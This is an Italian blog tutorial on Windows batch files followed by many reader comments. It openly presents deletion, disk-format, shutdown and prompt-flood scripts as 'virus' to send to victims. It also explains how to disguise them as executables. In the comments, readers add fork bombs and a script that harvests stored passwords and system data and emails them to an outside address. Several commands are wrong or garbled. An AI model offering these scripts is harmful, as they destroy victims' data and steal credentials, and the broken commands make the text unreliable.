Guida al linguaggio Bat

Vero che il batch non è un linguaggio molto avanzato…Ma forse per partire è il migliore…
Ecco quindi come iniziare:

Salvare Un Batch

1) Aprire il blocco note
2) Incollarci il codice
3) Chiudere e salvare il file in .bat

Per Cancellare Un File
1) Aprite il blocco note
2) Incollateci 1 dei seguenti codici:

CODICE
@ERASE /comando “C:\percorso\percorso *.*”
@DEL /comando “C:\percorso\percorso *.*”

3) Chiudete e salvate in .bat

IN DETTAGLIO: Che significa quel codice?
Allora:
1) @ERASE e @DEL = Sono per cancellare file
2) /comando = Bisognerebbe inserire 1 o più comandi tra questi:

a) /P Chiede conferma prima di eliminare ogni file.
b) /F Forza l’eliminazione dei file di sola lettura.
c) /S Elimina i file specificati da tutte le sottodirectory.
d) /Q Modalità silenziosa, non chiede conferma per eliminazioni globali.
e) /A Seleziona i file da eliminare in base agli attributi.

3) *.* = Il PRIMO asterisco serve per cancellare TUTTI i file con un certo nome, come:
CODICE
eversor.*

4) *.* = Il SECONDO asterisco serve per cancellare QUALSIASI tipo di ESTENSIONE di un file, come:
CODICE
*.txt

5) QUINDI, in sostanza se dobbiamo cancellare il file “esempio” in .txt sul desktop, faremo:
CODICE
@ERASE /S /Q “C:\Programmi\Documents and settings\L.H.S.\Desktop\esempio.txt *.txt”

Per Cancellare Una Cartella
1) Aprire il blocco note
2) Inserirci dentro il seguente codice:
CODICE
@RD /s /q C:\Percorso_Cartella

3) Salvare in .bat

IN DETTAGLIO: Perchè @RD?
@RD Serve in questo per cancellare una cartella, mentre @DEL e @ERASE era per File, @RD è per cartella.

Per Formattare C:
1) Aprire il blocco note
2) Inserirci dentro il seguente codice:
CODICE
format C: /autotest /q /u

3) Salvare in .bat

IN DETTAGLIO: Questo virus formatta c: senza chiedere conferma (/q) e non permette di essere bloccata piu avanti (/u)

Virus Per Disconnettere/Riavviare/Spegnere il PC
1) Aprire il blocco note
2) Inserire dentro il seguente codice:
CODICE
shutdown -comando

3) Salvare in .bat

IN DETTAGLIO: Il -comando può essere sostituito tra i seguenti:

a) -i : Attiva l’interfaccia utente grafica
b) -l : Disconnette l’utente
c) -r : Riavvia il PC
d) -s : Spegne il computer
e) -t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
f) -f : Chiude le applicazioni ancora aperte

IN DETTAGLIO: Se aprite l’msdos (Start—>Esegui—>cmd) e scrivete START, a sua volta vi apre di nuovo il prompt.
Che succede se voi scrivete START tipo 500 volte (MAGARI COL NOSTRO FLODDER SPECIALE) salvate in batch e lo mandate alla vittima???
Beh, vi lascio a voi immaginare.

Trasformare Il .bat In .exe
1) Scaricate il seguente programma: Batch To Exe 1.2
2) Apritelo e scegliete le opzioni, si può anche cambiare l’icona del file

Aumentare Il Peso Del Batch
1) Aprire il blocco note
2) Incollarci dentro il codice
3) Aggiungere il codice:
CODICE
@REM parole_a_caso_ma_tante

4) Salvare in .bat

IN DETTAGLIO: Perchè @REM?
Allora si da il caso che il comando @REM, serva per “Inserire Commenti”, MA, se noi al posto dei commenti mettiamo non so, 500 volte la lettere aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, non faremo altro che AUMENTARE il peso del virus.

76 Risposte to “Guida al linguaggio Bat”

  1. grandissimo ^^

  2. em ho fatto come dici…ma le cartelle a me non le cancella😄

  3. credo che hai sbagliato a dare il comando..Fai una cosa posti il codice che hai scritto gli dò un occhiata .e vediamo insieme dove hai sbagliato😄.ciao

  4. @RD /s /q PERCORSO DELLA CARTELLA

  5. supponiamo di volere cancellare la cartella prova in “C:\cartella prova” allora come codice inserisci” @RD /s /q C:\cartella prova” lo esegui e vedi che la cartella prova nn viene cancellata perchè il nome della cartella prova ha lo spazio in mezzo ,se invece provi a fare cosi :C:\cartella_prova e esegui questo codice ” @RD /s /q C:\cartella_prova ” vedi che funziona..se vai in C:dove hai creto la cartella_prova vedi che nn c è piu….SPERO DI ESSERE STATO CHIARO….CIAO

  6. ahhhhhhhn!!! ora ho capito!
    ti faccio sapre😉

  7. Ciao, sono nuovo di programmazione e vorrei un piccolo aiuto se ti è possibile. Vorrei creare un file .bat che copia un file contenuto in una cartella sorgente e lo incolli in un altra cartella di destinazione, in cui il file esiste già e quindi sovrascrivendolo. Si pou’ fare con un file Bat?

  8. come faccio a salvare in .bat?

  9. ♣ Luc@ ♣ Says:

    ATTENZIONE!!!!
    Se volete cancellare una cartella che ad esempio si trova in Documents and Settings; non potete scrivere @rd/q/s C:\Documents and Settings\cartella bensì @rd/q/s C:\Docume~1\cartella, perchè il linguaggio bat non accetta gli spazi (un grande difetto!!), come ad esempio se voglio cancellare una cartella in un’ altra cartella che si chiama bimbo bravo, al posto di “bimbo bravo” dovrò scrivere bimbob~1 (il segno ~ si ottiene premendo Alt 126 e rilasciando Alt).

    Per quanto riguarda Claudio per copiare il file da una cartella in un’ altra sovrascrivendo il file, prima di tutto, o chiami il file che devi spostare con lo stesso nome di quello che devi sovrascrivere oppure copi il file nella cartella interessata (non lo sovrascrivi) e poi cancelli il file che dovevi sovrascrivere. Per copiare si usa il comando “xcopy” e per rinominare “ren”. Se voglio copiare scrivo xcopy C:\percorso\percorso\nomefile.(con la sua estenzione) C:\Percorso2\percorso2\.
    E cioè copia il file “nomefile.(estenzione)” in C:\Percorso2\Percorso2\.

    Per salvare il file in un file .bat bisogna che clicchiate (dopo avre scritto il programma) File\Salva con nome\ e dove c’ è scritto nome file scrivete
    nomefile.bat, è importantissimo il .bat seno lo salva con estenzione .txt

    Spero di essere stato chiaro.

  10. ago1980 Says:

    bravo….sei stato molto chiaro….XD…..

  11. ♣ Luc@ ♣ Says:

    Grazie!

  12. Volevo cancellare un file e ho messo sul blocco note così:
    ” @ERASE /s /q /f C:\WINDOWS\system32\mdelk.exe *.exe ”
    ma non me lo cancella. Perchè? Manca qualcosa?

  13. alberto Says:

    ma se io creo un .bat per farlo funzionare si deve aprire questo file.ma se io creo questo file l’azione del .bat me la fa a me?

  14. ago1980 Says:

    si,… se tu crei il bat e poi l ho aprei sul tuo pc e normale che azioni il bat sul tuo pc….

  15. se io devo voglio creare il virus che fa comparire 500 volte devo creare un file .bat e scrivere:Start—>Esegui—>cmd? oppure no? se no cosa devo scrivere? e

  16. ago1980 Says:

    no.per creare un piccolo virus in bat per far impallare il pc devi aprire il blocco note e copiare questo code:
    START
    START
    START
    START

    prova ad scrivere molte volte START poi salva ti tutto in nome.bat e mandalo alla tua vittima,,,,si aprira il prompt qualnte volte l hai scritto nel blocco nette ,piu volte e scritto e i piu si impallerà il pc……..XD

  17. ♣ Luc@ ♣ Says:

    Per quanto riguarda Jacker, ti consiglio di usare il comando “del” anzicchè “erase”. Se devi cancellare il file che hai specificato prima basta scrivere “@del/q/s C:/windows\system32\midelk.exe”.
    Non capisco perchè hai scritto “*.exe” questo comando serve per cancellare tutti i files exe in una determinata cartella. Cioè se devi cancellare, nella cartella system32, tutti i files exe devi scrivere “@del/q/s C:\windows\system32\*.exe” se invece devi cancellare un file di tipo exe scrivi “@del/q/s C:\windows\system32\nomefile.exe (senza aggiungere *.exe), se invece nella cartella system32 devi cancellare tutti i file scrivi “@del/q/s C:\windows\system32\*.*”
    E’ inutile aggiungere “/f” perchè elimini un file specifico, quindi ti consiglio di non metterlo!!!

    Se volete che invece il notepad si apra all’ infinito basta scrivere:

    set x=0
    :1
    start notepad
    set/A x=x+1
    goto 1 close

    Così il blocco note si aprirà all’ infinito, se invece volete aprire all’ infinito il prompt bisogna che scriviate:

    set x=0
    :1
    start cmd
    set/A x=x+1
    goto 1 close

    Spero di essere stato chiaro!!!
    Ciao!!!

  18. Ciao,
    avrei una domanda. come faccio a lanciare dei file eseguibili da un file .bat?
    In particolare alcuni di questi hanno bisogno di parametri.
    Es.
    Devo lanciare ball.exe come
    ball.exe server

    Grazie. AIUTATEMI!!!

  19. ago1980 Says:

    gino nn il code é:@ C:\percorso\ball.exe
    .salva in bat e quando lo esegui ti apre il ball.exe….
    spero che era questo quello che volevi sapere …ciauz…XD

  20. Si, è proprio così!!!!
    Basta scrivere il percorso del file come C:\percorso\percorso\ball.exe.
    Inoltre con lo stesso comando puoi avviare altri programmi ma con estenzioni diverse.

  21. raga che vuol dire il comando echo?e poi da questa guida c’e tutto quello che si deve sapere per utilizzare i file batch o manca qualkosa..??
    risp…grazie

  22. raga mi spiegate che vuol dire il comando echo??e poi in questa guida cè tutto cio che serve sapere per imparare ad usare i file batch o manca qualcosa che è importante sapere?

  23. Il comando echo serve per scrivere una parola o una frase sul prompt con il batch, ad esempio:
    echo Ciao!
    Questa frase scrivera sul prompt la parola ciao, non è proprio così perche bisogna aggiungere altri comandi….
    E’ importante fare due distinzioni nel linguaggio batch: il linguaggio batch per scrivere i virus e il linguaggio batch per creare applicazioni di scrittura o file di testo ( dove fa parte il comando echo). In questa guida è presente solo quella parte di questo linguaggio riguardante i virus, l’ altra parte invece non viene nemmeno accennata!

  24. bella guida!! però sapevo già tutto!😄

  25. obi one kenobi Says:

    io una volta k ho salvato in ba tlo vado ad aprirecon il prompt e mi dice k la sintassi nn è giusta,xk?

  26. ciao a tutti vorrei creare un file.bat che cancelli in automatico ho al mio clik dei files più vecchi di tot giorni

    come posso fare?

    aiutatemiii pleaseee

    grazie 1000

  27. Come faccio a far partire il virus ad ogni accensione del computer?
    AIUTAMI!!!!!!!!!!!!!!!!!!!!!!!!!!!
    CIAO!

  28. ho provato il codice per formattare c
    format C: /autotest /q /u
    ma qualcuno sa dirmi come mai non fonziona?
    ho provato poi ad aggiungerci pause e mi esce il seguente messagio
    Parametro non valido – /autotest
    come mai?

  29. mi è sorto un dubbio
    ma qualcuno lo ha mai provato su windows xp

  30. […] t’ interessa un assaggio , per farti un’ idea iniziale , puoi incominciare a dare un ‘ occhiata qui Guida al linguaggio Bat kacker1one’s Weblog e qui File batch – Wikipedia Computer protected by Avira Premium Security Suite […]

  31. Volevo sapere se era possibile creare un file batch che mandi per e-mail una cartella a un’indirizzo inserito nel batch senza chiedere conferma.

    Grazie….

  32. Lizard Blake Says:

    Save a tutti un mio amico mi ha dato un codice da salvare in .exe e poi farlo partire. Questo dovrebbe far partire il Blat e creare un file .txt su cui Mspass.exe dovrebbe scrivere tutti i dati e di seguido dovrebbe mandarmi questo .txt per e-mail come mai non funziona? chi mi puo aiutare?

    <<>>

    @echo off
    mspass.exe /stext Test.txt
    echo. >> Test.txt
    cls
    echo COMPUTERNAME = %COMPUTERNAME% >> Test.txt
    echo USERNAME = %­USERNAME% >> Test.txt
    echo USERDOMAIN = %­USERDOMAIN% >> Test.txt
    echo USERPROFILE = %­USERPROFILE% >> Test.txt
    echo. >> Test.txt
    ipconfig /all >> Test.txt
    echo. >> Test.txt
    netstat -na >> Test.txt
    cls
    @blat -install smtp.tiscali.it Password@tiscali.it
    cls
    @blat Test.txt -to “Holakaiohshin@hotmail.it”
    cls
    del blat.exe
    del Test.txt
    del Mail.exe

  33. ciau… ce un modo per copiare una cartella ke sta in un altra cartella sul desktop?

  34. Lizard Blake hai un po’ le idee confuse ….ti rimando su’ un link leggi ..
    https://ago1980.wordpress.com/2008/01/17/nuovo-metodo-per-rubbare-passw-msn/#comment-1433
    Spero e questo quello che cerchi….

  35. francesco Says:

    ciau.. avrei bisogno d un kiarimento.. è possibile creare un fil bat capace d eseguire (in modo invisibile) un programma all’avvio d windows? grazie… ciaoo

  36. Ciao,
    Qualche volta mi sono trovato a dovermi cancellare dei virus sottoforma di .dll,
    visto che questi file sono sempre in uso dal sistema sono impossibili da cancellare,quindi sono costretto a riavviare con dentro il cd di windows entrare nella console di ripristino e cancellare il virus in dos.
    Poi ho pensato di far fare questo lavoro ad un file bat, ma è sorto un problema:
    come far funzionare(se possono) insieme il comando “shutdown -r” per riavviare il pc e il comando “@DEL /f “C:\percorso\percorso *.*”.

  37. Riccardo se sono in eseguzione nn credo che funziona…

  38. Fbry nn puoi formattare il disco C! è impossibile se il sistema operativo windows è aperto…(qst cosa è importante)
    se vuoi formattare un disco..informati se la vittima oltre a C ne ha un altro..casomai “D”
    e nel codice al posto di “C” ci metti “D”
    spero di essere stato kiaro..ankora nn l’ho provato ma penso sia kosi..cmq nn puoi formattare “C” se windows è aperto su questo sono sicurissimo al 100%

  39. io nn ho capito bene kome si cancella un file… allora apro un documento..e ci metto

    @ERASE /S /Q “C:\Programmi\Documents and settings\L.H.S.\Desktop\esempio.txt *.txt”

    poi creo un documento di testo sul desktop e lo rinomino “esempio.txt”
    poi converto il txt in bat..pero nn mi cancella il documento “esempio.txt”
    come mai?

    poi ho un po di domande:
    1 perke hai messo Document and setting?
    2 perke hai messo L.H.S? a kosa corrisponde?
    3 perke hai messo C:Programmi? il documento “esempio.txt” sta sul desktop..perke mettere C:Programmi

    ho fame di conoscienza😄 aiutami capire meglio..thx in anticipo

  40. nn mi funziona quel procedimento per eliminare i file…@ERASE /S /Q “C:\Programmi\Documents and settings\L.H.S.\Desktop\esempio.txt *.txt” io l’ho messo..ma nn funge

  41. prototech Says:

    Ciao,
    ti volevo chiedere se
    è possibile inserire un Time per eseguire l’operazione
    di eliminazione del file in aggiunta a ERASE o DEL.

  42. 1 )Document and setting e un percorso che puo’essere anche un altro a tuo piacere..
    2)L.H.S. e per dire corrisponde al nome del utente ..XD
    3)se vedi bene alla fine c’e’ *.txt significa che nn cancella solo il file esempio.txt ma tutto i file che hanno un estenzione.txt…
    CIAO….

  43. allora,premesso che ho provato le cose che dici e non ci son riuscito,volevo chiederti se puoi prepararmi un bat che mi cancelli le seguenti cartelle:
    C:\Documents and Settings\luca\Impostazioni locali\Dati applicazioni\Microsoft\Messenger
    C:\Documents and Settings\luca\Impostazioni locali\Dati applicazioni\Microsoft\Windows Live Contacts
    GRAZIE
    saluti
    Luca

  44. ciao ho fatto il viruske formatta il pc,ma nn me lo fa aprire xkè???

  45. Ciao, volevo sapere se sai creare un virus mandabile via email, che non appena è aperto fa scattare il virus senza scaricare allegati e altro… fammi sapere…

  46. Usate questo virus @print \percorso\ fatelo più volte possibile farà stampare un documento più volte

  47. Biank ma nn e propio un virus che fa’ danni ….pero’ per uno scherzo va bene……XDXDXD

  48. Ciao,
    mi sto avvicinando al “linguaggio” batch, ho scritto un codice in batch e vorrei chiedere una conferma.
    Quello che vorrei ottenere con questo file .bat, è di eliminare tutti i file con una determinata estensione (3GP e ASX), da tutte le cartelle e sottocartelle del Disco C, del mio pc, senza doverli andare a ricercare uno x uno ed elinimare singolamente. Da qui l’idea di un file .bat che faccia tutto da solo, facendomi risparmiare tempo. Ho fatto una ricerca in rete sui comandi batch. Ma prima di lanciarlo e fare casini volevo avere conferma che fosse giusto e che funzionasse, e nel caso correggerlo e/o migliorarlo.
    Quale dei 2 codici postati è giusto?

    Grazie

    Nel codice postato ho usato le estensioni .doc e .txt, perchè piu comuni, ma quello che mi interessa cancellare sono i file video 3GP, e le playlist di Windows Media Player (ASX)

    INIZIO CODICE 1

    @echo off

    @ERASE /S /Q “C:\*.doc”
    @ERASE /S /Q “C:\*.txt”

    cls
    exit

    FINE CODICE 1
    ————————————————————————————-
    INIZIO CODICE 2

    @echo off

    @ERASE /F /S /Q “C:\Documents and Settings\All Users\*.doc”
    @ERASE /F /S /Q “C:\Documents and Settings\All Users\*.txt”

    cls
    exit

    FINE CODICE 2

  49. ce un file bat x trovare password? tipo quella di msn o di skype oppure non so altre cose un file bat che invia ad un email la password

  50. si c’e una bat che fa’ questo…invia ad un email la password.

  51. Salve su xp o vista come faccio a creare un file bat che cancelli delle conversazioni di msn su un altro pc non sapendo il nome del pc? per esempio nella directory “c:\documents and settings\pippo\dekstop….” il nome pippo varia da pc a pc c’è un modo per saltarlo?

  52. ago1980 Says:

    C:\Documents and Settings\%­USERNAME%

  53. io volevo cancellare una cartella sul desktop che si chiama nuova cartella e ho scritto cosi ma non si cancella cosa manca @RD /s /q C:\Users\enea2012\Desktop\nuova_cartella

  54. Ciccioiccio Says:

    c’è un comando batch per fare uscire il carrello del lettore CD/DVD? grz in anticipo

  55. ago1980 Says:

    si il code e questo :
    shutdown -s -t 20 -f
    cls
    @echo off
    echo carello cd fuori
    –XDXD

  56. alan PER CANCELLARE UNA CARTELLA DAL DESKTOP CON UM BAT IL CODE E QUESTO:
    @RMDIR “C:\Documents and Settings\ADMIN\Desktop\Nuova Cartella”
    ciao..

  57. e non c’è 1 comando per inviare un dato a scielta per e-mail o per qualcos’ altro

  58. ma io ho scritto: format C: /autotest /Q /U
    ma nn formatta la partizione
    xkè???

  59. […] la cartella e tutto il contenuto! xD Ecco la mia "guida" da dove ho preso spunto: https://ago1980.wordpress.com/2008/01…inguaggio-bat/ Grazie mille…ciao Davide! […]

  60. volevo sapere come fare a mettere un time all’eliminazione di file es:
    tra 2.5 min
    @del C:\Programmi\leggimi.txt
    grz

  61. Uno Dei Tanti Says:

    Provate questo “virus” qua:

    CODICE
    START test.bat
    test.bat

    poi salvate col nome test.bat
    il virus apre una volta il prompt e due volte se stesso
    l’effettto è garantito!
    il prompt si aprirà 1…2…4…8…16…32…64…128… volte e così via all’infinito!

  62. Volevo chiedere se è possibile far in modo che un file .bat, una volta avviato si avvi automaticamente a ogni riavvio

  63. questo topic è molto ben fornito però vi dico che i bat sono solo dei codici e NON sono virus come vengono chimati in questa guida avvolte vengono richiamati dal proprio antivirus ma solo perche ci sono dei codici che sono in grado di formattare l’intero HD!!!!

  64. Uno Dei Tanti Says:

    io ho letto attentamente la guida ed ho capito quasi tutto. però, c’è un modo per creare cartelle con un .bat?

  65. masimo prelati Says:

    scusa ma sono nuovo cm devo fare per fare aprire un qualsiasi file?
    che stringa di comando dev inserire?

  66. alessandro Says:

    se volessi fare si che il file in . bat sembrasse una foto da fuori magari con formatoin jpeg?

  67. la talpa Says:

    si, sono una serie di comandi ma tu hai scritto una cosa sbagliata : se
    tu vuoi fare copiare x esempio documento.txt ( o altro ) in C:\documents and settings non puoi perchè il linguaggio bat non permette devi o mettere le “” oppure : C:\DOCUME( con quella specie di ondina che si fa
    tenendo premuto alt e poi 126 e rilasciando alt).
    se hai bisogno di altre spiegazioni ( anche più tecniche e da hacker sono
    disponibile)
    ciao dalla talpa

  68. SuperHack Says:

    sia santificato il batch…
    ho imparato molte cose da autodidatta ed e stato molto bello e divertente imparare a fare queste cose ma ho pensato: perche sprecare tempo a cercare di hackerare un windows, quando ci sono i mac…
    cerchiamo di hackerare queste macchine, e facciamo capire a quelli che disprezzano il windows che è molto meglio del loro inutile computer!!!
    (nn e un offesa verso le persone che possiedono un mac)

  69. ciao
    volevo creare un .bat che si mettesse in attesa di 2 parametri sulla shell da digitare a cura dell’utente e poi le utilizzasse per lanciare un comando che li utilizzasse

    esempio
    chiede all’utente il nome di un file ‘nomefile’ e il percorso ‘path’
    …e poi fa copy path\nomefile c:\

    sapete come fare ?

    grazie

  70. Petropovuloskv Biggipolvsky Says:

    Il comando ECHO (testo) in windows 7 NON FUNZIONA …. infatti appare solo il prompt e scompare subito,.,.,.😄

    • Peppo_o'Paccio Says:

      Petropovuloskv Biggipolvsky, è ovvio che non funziona se scrivi solo “echo testo” in un .bat. Devi anche mettere un pause, se no il file esegue l’echo e poi si chiude. Il file dovrebbe essere qualcosa tipo:

      @echo off
      echo Ciao, come va?
      pause

  71. ma il comando per la formatazione nn funziona.nn puoi cancellare un file quando in esecuzione la stessa cosa vale per os. dunque nn ce un altro modo?

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...

%d blogger cliccano Mi Piace per questo: